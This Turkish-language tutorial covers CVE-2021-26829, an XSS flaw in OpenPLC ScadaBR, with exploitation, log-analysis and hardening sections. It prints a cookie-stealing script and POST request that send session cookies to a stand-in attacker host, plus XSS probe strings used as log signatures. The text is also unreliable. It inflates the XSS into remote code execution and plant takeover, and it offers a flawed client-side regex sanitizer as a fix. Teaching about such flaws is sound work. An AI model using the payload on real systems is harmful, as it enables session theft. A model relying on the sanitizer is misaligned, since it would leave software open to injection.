CVE-2021-26829: OpenPLC ScadaBR Cross-site Scripting Vulnerability

Zorluk Seviyesi: Başlangıç | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

CVE-2021-26829, OpenPLC ScadaBR'de tespit edilen bir cross-site scripting (XSS) zafiyetidir. Bu zafiyet, kullanıcıların sistemi etkileyen zararlı JavaScript kodlarını enjekte etmelerine olanak tanır. XSS, kötü niyetli kişiler tarafından gerçekleştirilen bir saldırı türüdür ve etkilediği kullanıcıları çeşitli şekillerde manipüle edebilir. Örneğin, bir saldırgan, sistemde hâkimiyet kurarak (Remote Code Execution - RCE) kullanıcı bilgilerini çalabilir ya da oturumlarını ele geçirebilir.

OpenPLC projektinin özelleştirilebilir ve açık kaynaklı doğası, pek çok endüstro uygulamasında yaygın olarak kullanılmasına olanak tanır. Özellikle, ScadaBR'in kontrol sistemleri ve otomasyon süreçlerinde kullanılması sayesinde, birçok kritik alanda etkili olabilmektedir. Bununla birlikte, CVE-2021-26829’un varlığı, SCADA sistemlerinin güvenlik açıklarının ciddiyetini gözler önüne seriyor. SCADA sistemleri, enerji, ulaşım, su arıtma ve daha pek çok kritik altyapının yönetiminde önemli rol oynamaktadır. Bu tür sistemlerde herhangi bir güvenlik açığı, ciddi sonuçlar doğurabilir.

Zafiyetin kaynağı, ScadaBR uygulamasının "system_settings.shtm" dosyasındaki yanlış bir doğrulama mekanizmasıdır. Bu dosya, kullanıcı ayarlarının yönetimi ve görüntülenmesi için kullanılır. Kullanıcı bilgilerini kontrol ederken, uygulama kullanıcıdan gelen girdinin yeterince sanitize edilmemesi sonucu, kötü niyetli bir JavaScript kodu eklemesine izin vermektedir. Dolayısıyla, saldırganlar bu açığı kullanarak, sisteme sızabilir ve kullanıcıların deneyimlerini manipüle etmek veya kötü niyetli faaliyetlerde bulunmak için gerekli adımları atabilir.

Gerçek bir senaryo düşünelim: Bir enerji santrali, ScadaBR kullanarak izleniyor ve kontrol ediliyor. Santraldeki mühendislerden biri, system_settings.shtm üzerinden ayarlarla oynamak için giriş yaptığında, bir saldırgan tarafından hazırlanmış bir kötü amaçlı bağlantıya tıklarsa, bu durum ciddiye alınması gereken sonuçlar doğurabilir. Saldırgan, sistemdeki bilgilere erişmeyi başarabilir ve hatta santralin kontrolünü ele geçirerek felaket senaryolarına yol açabilir.

Dünya genelinde, bu tür zafiyetlerin sektörel bazda etkileri oldukça geniş çaplıdır. Enerji, su yönetimi, sağlık ve ulaşım gibi kritik altyapılar, sıklıkla XSS ve diğer saldırı türlerine maruz kalmaktadır. Yalnızca bir SCADA sisteminin bile etkilenmesi, sistemin güvenilirliğini ve işleyişini tehdit edebilir. Bu nedenle, yazılımların güvenlik denetimlerinin yapılması, zafiyetlerin tespit edilmesi ve düzeltilmesi son derece önemlidir.

Sonuç itibarıyla, CVE-2021-26829’un ortaya koyduğu güvenlik açığı, sadece bir yazılım zafiyeti olmanın ötesinde, kritik altyapıların güvenliğini etkileyen büyük bir tehdittir. Yazılım geliştiricileri ve güvenlik uzmanları, bu tür zafiyetleri önlemek için kod inceleme, penetrasyon testleri ve güncellemeler yapmak gibi önlemleri almalıdır. Bununla birlikte, kullanıcıların da güvenlik bilincine sahip olması ve şüpheli bağlantılara karşı dikkatli olmaları şarttır.

Teknik Sömürü (Exploitation) ve PoC

OpenPLC ScadaBR uygulamasında bulunan CVE-2021-26829 zafiyeti, bir cross-site scripting (XSS) açığıdır ve bu durum, saldırganların kullanıcıların tarayıcısında kötü niyetli JavaScript kodlarını çalıştırmalarına olanak tanır. Bu tür bir açık, özellikle endüstriyel kontrol sistemleri (ICS) gibi kritik altyapılar için son derece tehlikeli olabilir. Saldırganlar, sistem üzerinde tam yetkiye sahip olmadan kullanıcıları hedef alabilir ve bu durum, veri hırsızlığı, oturum çalma (session hijacking) veya kötü amaçlı payload'lar ile sistem istismarı (exploitation) gibi sonuçlara yol açabilir.

Zafiyetin teknik istismarı için adım adım bir kılavuz oluşturmak önemlidir. İlk adım, hedef sistemin çalışma mantığını ve zayıf yönlerini anlamaktır. OpenPLC ScadaBR, kullanıcı ayarlarını yönetmek için bir arayüz sağlar; burada XSS açığı, system_settings.shtm dosyası aracılığıyla ortaya çıkmaktadır. Bu dosyanın sunucu tarafında yeterince güvenli bir şekilde doğrulanmadığı durumlarda, kullanıcıdan gelen veriler doğru bir şekilde filtrelenmemekte, dolayısıyla bu veriler doğrudan HTML dönüşümüne tabi tutulmaktadır.

Saldırgan, ilk olarak gerekli HTTP isteklerini gözlemlemeli ve hangi verilerin alındığını tespit etmelidir. Basit bir GET isteği ile, zafiyetin ortaya çıktığı sayfaya ulaşabiliriz. Örneğin:

GET /scadabr/system_settings.shtm HTTP/1.1
Host: hedef_sunucu
Accept: */*

Saldırgan, kurbanın tarayıcısında çalıştırılmak üzere, kendine ait bir kötü niyetli JavaScript kodu oluşturabilir. Bu kod, kurbanın kimlik bilgilerini çalmaya ya da başka zararlı işlemler gerçekleştirmeye yarayabilir. Örneğin:

&lt;script&gt;
    fetch('https://saldirgan-site.com/cookie-collector?cookie=' + document.cookie);
&lt;/script&gt;

Zafiyeti istismar etmek için, aşağıdaki gibi bir POST isteği hazırlanabilir:

POST /scadabr/system_settings.shtm HTTP/1.1
Host: hedef_sunucu
Content-Type: application/x-www-form-urlencoded

param1=value1&amp;param2=&lt;script&gt;fetch('https://saldirgan-site.com/cookie-collector?cookie=' + document.cookie);&lt;/script&gt;

Bu şekilde, kötü niyetli kod hedef sistemde çalıştırılacak ve kurbanın tarayıcısı üzerinden gerçekleştirecek işlemlerle saldırganın sistemine veri gönderecektir.

Son aşamada, eğer bu güvenlik açığının sömürülmesi başarılı olursa, kurbanın belirli oturum bilgileri ve kimlik bilgileri saldırgana iletilmiş olacaktır. Bu bilgiler kullanılarak hedef sisteme erişim sağlanabilir ya da mevcut verilere zarar verilebilir. Dolayısıyla, zafiyetin potansiyel etkileri son derece önemli olup, bu tür güvenlik açıklarının ortaya çıkmaması için sistem yöneticilerinin gerekli güvenlik önlemlerini alması ve güncellemeleri takip etmesi hayati önem taşımaktadır.

Sonuç olarak, CVE-2021-26829 zafiyeti, OpenPLC ScadaBR için oldukça kritik bir güvenlik açığıdır. Söz konusu zafiyetin kötüye kullanılmasını önlemek için sistemin düzenli olarak güncellenmesi, güvenlik duvarlarının devreye alınması ve kullanıcı eğitimleri gibi dahili politika ve önlemlerin uygulanması gerekmektedir. White Hat Hacker (beyaz şapkalı hacker) olarak, bu tür zafiyetleri tespit etmek ve ortadan kaldırmak, endüstriyel kontrol sistemlerinin güvenliğini sağlamak adına son derece önemlidir.

Forensics (Adli Bilişim) ve Log Analizi

CVE-2021-26829, OpenPLC ScadaBR sisteminde bulunan bir cross-site scripting (XSS) zafiyetidir. Bu tür bir zafiyet, kötü niyetli bir saldırganın, kullanıcının tarayıcısında JavaScript kodu çalıştırarak oturum çalma, kullanıcı verilerini ele geçirme veya kimlik avı saldırıları düzenlemesine olanak tanıyabilir. OpenPLC ve ScadaBR, genellikle endüstriyel otomasyon ve kontrol sistemlerinde kullanılan açık kaynaklı bir SCADA çözümüdür. Bu tür sistemler, hassas verileri işlediğinden, XSS gibi zafiyetlerin ele alınması kritik önem taşır.

Bir aday siber güvenlik uzmanı veya "White Hat Hacker", bu tür zafiyetlerin kötüye kullanılmasını engellemek için bir dizi teknik araç ve yöntem ile sisteme yönelik derinlemesine analizler yapmalıdır. Bu süreçte, SIEM (Security Information and Event Management) çözümleri ve log analizleri, saldırının tespit edilmesinde önemli bir rol oynar.

Log analizi, genellikle sistemin güvenlik duruşunu anlamak için kritik verilere ulaşım sağlar. OpenPLC ScadaBR gibi hedef sistemlerde, özellikle “access log” (erişim günlükleri) ve “error log” (hata günlükleri) gibi logları kontrol etmek önemlidir. Bu günlüklerde aşağıdaki imzalara (signature) dikkat edilmelidir:

Özel Web Parametreleri: URL'ler içinde "system_settings.shtm" içeren istekler arayın. Bu, XSS’in gerçekleştirilmesi için kritik bir dosyadır.

   GET /scadabr/system_settings.shtm?username=&lt;script&gt;alert('XSS')&lt;/script&gt;
   HTTP/1.1

Kaçış Karakterleri: HTTP isteklerinde kaçış karakterlerinin (örneğin, '<', '>', '&') yer aldığı durumları inceleyin. Bu, kötü niyetli bir kullanıcı tarafından XSS saldırısı gerçekleştirilebileceğinin bir göstergesi olabilir.

   GET /scadabr/system_settings.shtm?param=&lt;img src=x onerror=alert(1)&gt;

Hedef Dışında Veriler: Logs'larda, sistemin dışına gönderilen ve JavaScript kodu içeren yanıtları kontrol edin. Özellikle kullanıcı bilgilerini, kimlik bilgilerini ya da oturum anahtarlarını içeren açgözlü gönderimlerini inceleyin.
Şüpheli Kullanıcı Etkileşimleri: Son zamanlarda olağan dışı aktive olan kullanıcı hesaplarını belirleyin. Özellikle birden fazla hatalı giriş ya da benzeri anormal etkileşimleri kaydeden log girişleri ciddi bir tehdit belirtisi olabilir.
Farklı User-Agent Bilgileri: Kullanıcı ajanı bilgilerini kontrol edin. Eğer farklı bir tarayıcı veya platform kullanarak sistemden bir istek yapıldıysa, bu şüpheli bir faaliyet olarak değerlendirilebilir.
Hata Yanıtları: Sunucudan alınan yanıtların içerik türlerini inceleyin. Eğer hata cevapları (örneğin 500, 400 gibi) beklenmedik bir içerik veya veri döndürüyorsa, bu durum bir zafiyetin istismar ediliyor olabileceğinin işaretidir.

Bu tür imzalar üzerinde çalışarak, siber güvenlik uzmanları, saldırıların tespit ve önlenmesi sürecinde önemli bilgiler elde edebilirler. Özellikle, SCADA sistemleri gibi kritik altyapılardan gelen verilerin analizi, hem mevcut tehditleri tespit etmek için hem de olası gelecekteki saldırıları önlemek için son derece önemlidir.

Uygulama güvenliği, yazılım geliştirme hayat döngüsünün her aşamasında sağlam temellere dayandırılmalıdır. Hedef sistemlerin sürekli olarak güncellenmesi, güvenlik yamalarının uygulanması ve sıkı log analizlerinin yapılması, muhtemel zafiyetlerin önlenmesinde hayati bir rol oynar. White Hat Hacker olarak, bu tür analizlerin yapılıp yapılmadığını sürekli kontrol etmek ve gelişen tehditlere karşı sistemleri güncel tutmak, siber güvenlik stratejilerinin merkezinde yer alır.

Savunma ve Sıkılaştırma (Hardening)

OpenPLC ScadaBR uygulaması, endüstriyel otomasyon sistemlerinde sıklıkla kullanılan bir araçtır. Ancak, CVE-2021-26829 olarak bilinen bir çerez üzerindeki cross-site scripting (XSS) zafiyeti, sistemin güvenliğini tehdit eden önemli bir açık olarak karşımıza çıkmaktadır. XSS zafiyeti, kötü niyetli kullanıcıların, etkiledikleri web sayfalarına zararlı Javascript kodları enjekte ederek, kullanıcıların oturum bilgilerini çalabilir veya bu kullanıcılar aracılığıyla sisteme erişim sağlayabilir. Bunun sonucunda kullanıcılar, kimlik avı saldırılarına maruz kalabilir veya daha kötü senaryolarda uzaktan kod çalıştırma (RCE) olayları gerçekleşebilir.

CVE-2021-26829 açığını gidermek amacıyla birkaç temel adım izlenmelidir. İlk olarak, XSS saldırılarının önlenmesi için kullanıcı girişlerinin düzgün bir şekilde filtrelenmesi gerekmektedir. Örneğin, web uygulaması kullanıcıdan aldığı girdileri sanitize (temizleme) etmeden işleme almamalıdır. Kullanıcı girişlerindeki karakterlerin kontrol edilmesi, potansiyel zararlı içeriklerin sistemde yürütülmeden before engellenmesini sağlayacaktır. Bu, aşağıdaki gibi basit bir kontrol mekanizması ile sağlanabilir:

&lt;script&gt;
function sanitizeInput(input) {
    var output = input.replace(/&lt;script.*?&gt;.*?&lt;\/script&gt;/gi, '');
    return output.replace(/&lt;/g, "&amp;lt;").replace(/&gt;/g, "&amp;gt;");
}
&lt;/script&gt;

Bu basit önlem, kullanıcı girdisindeki script etiketlerini temizleyerek potansiyel tehditleri azaltacaktır. Ancak bu tek başına yeterli değildir; ayrıca güvenlik duvarı (WAF) kurallarının da gözden geçirilmesi gerekmektedir. WAF, HTTP trafiğini izleyen ve zararlı etkinlikleri engelleyen bir güvenlik katmandır. OpenPLC ScadaBR için aşağıdaki kuralları eklemek önerilir:

XSS Koruma Kuralı: Kullanıcıdan alınan tüm verilerin URL kodlaması yapılarak güvenli bir şekilde sunulmasını sağlayın.
Gelişmiş HTTP Başlık Kontrolü: Özellikle Content-Security-Policy (CSP) başlıkları ekleyerek yalnızca belirli kaynaklardan gelen verilerin tarayıcı tarafından işlenmesine izin verin.
Şüpheli İsteklerin Engellenmesi: Bilinen kötü niyetli kullanıcı ajanı veya IP adresleri için engelleyici kurallar ekleyin.

Kalıcı sıkılaştırma (harden) için uygulamanız gereken adımlar arasında güncellemeleri düzenli olarak takip etmek ve yazılımın en son sürümünü kullanmak yer alır. Yazılım güncellemeleri, bilinen güvenlik açıklarını kapatacak yamaları içerir. Ayrıca, kullanıcı rollerinin ve izinlerinin titizlikle yönetilmesi, sadece gerekli olan kişiler için erişim izinleri tanımlamak da son derece önemlidir. Kullanıcıların yetki seviyeleri derinlemesine incelenmeli ve gereksiz yetkilerden kaçınılmalıdır.

Sonuç olarak, CVE-2021-26829 açığı, OpenPLC ScadaBR kullanıcıları için ciddi bir tehdit oluşturmaktadır. Bu zafiyeti kapatmanın yollarını belirlemek, yalnızca güvenliği artırmakla kalmayacak, aynı zamanda olası veri ihlallerini de önleyecektir. Kullanıcı girişlerini sanitize etmek, WAF kuralları oluşturmak ve sürekli güncellemeler yapmak, bu tür zafiyetler ile başa çıkmanın en etkili yöntemlerindendir. güvenli bir endüstriyel otomasyon ortamı oluşturmak için bu adımların dikkatle uygulanması gerekmektedir.